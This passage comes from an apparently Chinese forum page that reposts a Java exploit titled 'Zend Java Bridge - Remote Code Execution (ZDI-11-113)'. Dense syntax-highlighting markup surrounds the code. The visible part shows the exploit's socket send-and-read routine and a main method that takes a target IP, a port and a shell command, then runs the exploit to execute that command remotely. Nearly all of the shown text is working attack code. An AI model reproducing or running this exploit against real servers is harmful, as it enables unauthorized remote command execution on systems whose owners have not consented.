#0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>161 os<SPAN style="COLOR: #0000cc">.</SPAN>write<SPAN style="COLOR: #0000cc">(</SPAN>data<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>162 os<SPAN style="COLOR: #0000cc">.</SPAN>flush<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>163 is<SPAN style="COLOR: #0000cc">.</SPAN>read<SPAN style="COLOR: #0000cc">(</SPAN>reply<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>164 } catch <SPAN style="COLOR: #0000cc">(</SPAN>IOException ex<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>165 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[!] Socket error...\n"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> ex<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #ff0000">getMessage</SPAN><SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>166 } <BR><BR>167 return reply<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>168 } <BR><BR>169 <BR><BR>170 <SPAN style="COLOR: #0000ff">public</SPAN> static void main<SPAN style="COLOR: #0000cc">(</SPAN>String<SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> args<SPAN style="COLOR: #0000cc">)</SPAN> throws IOException { <BR><BR>171 <BR><BR>172 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"\n--[ Zend Java Bridge - Remote Code Execution ]"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>173 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"--[ Copyright (c) 2010 Luca Carettoni ]\n"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>174 <BR><BR>175 <SPAN style="COLOR: #0000ff">if</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>args<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">length</SPAN> <SPAN style="COLOR: #0000cc">!</SPAN><SPAN style="COLOR: #0000cc">=</SPAN> 3<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>176 <BR><BR>177 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[!] Usage: java -jar zjb.jar &lt;IP&gt; <BR><BR>178 &lt;PORT&gt; \'&lt;CMD&gt;\' (Default: 10001/tcp)\n"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>179 System<SPAN style="COLOR: #0000cc">.</SPAN>exit<SPAN style="COLOR: #0000cc">(</SPAN>0<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>180 <BR><BR>181 } <SPAN style="COLOR: #0000ff">else</SPAN> { <BR><BR>182 <BR><BR>183 ZJB exploit <SPAN style="COLOR: #0000cc">=</SPAN> new ZJB<SPAN style="COLOR: #0000cc">(</SPAN>args<SPAN style="COLOR: #0000cc">[</SPAN>0<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> args<SPAN style="COLOR: #0000cc">[</SPAN>1<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> args<SPAN style="COLOR: #0000cc">[</SPAN>2<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>184 <BR><BR>185 <SPAN style="COLOR: #0000ff">if</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>exploit<SPAN style="COLOR: #0000cc">.</SPAN>run<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>186 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Write once, exploit anywhere!\n"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>187 } <SPAN style="COLOR: #0000ff">else</SPAN> { <BR><BR>188 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[!] An error occurred during the execution...\n"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>189 } <BR><BR>190 exploit<SPAN style="COLOR: #0000cc">.</SPAN>socket<SPAN style="COLOR: #0000cc">.</SPAN>close<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>191 <BR><BR>192 } <BR><BR>193 } <BR><BR>194 } <BR><BR>195 <SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>CMD<SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>PORT<SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN><SPAN style="COLOR: #ff0000">IP</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>SYSTEM<SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>CMD<SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>PORT<SPAN style="COLOR: #0000cc">&gt;</SPAN><SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #0000cc">/</SPAN><SPAN style="COLOR: #ff0000">IP</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN> <BR></SPAN></CODE></P></TD></TR></TBODY></TABLE><BR>
页: [1]
查看完整版本: Zend Java Bridge - 远程代码执行(ZDI-11-113)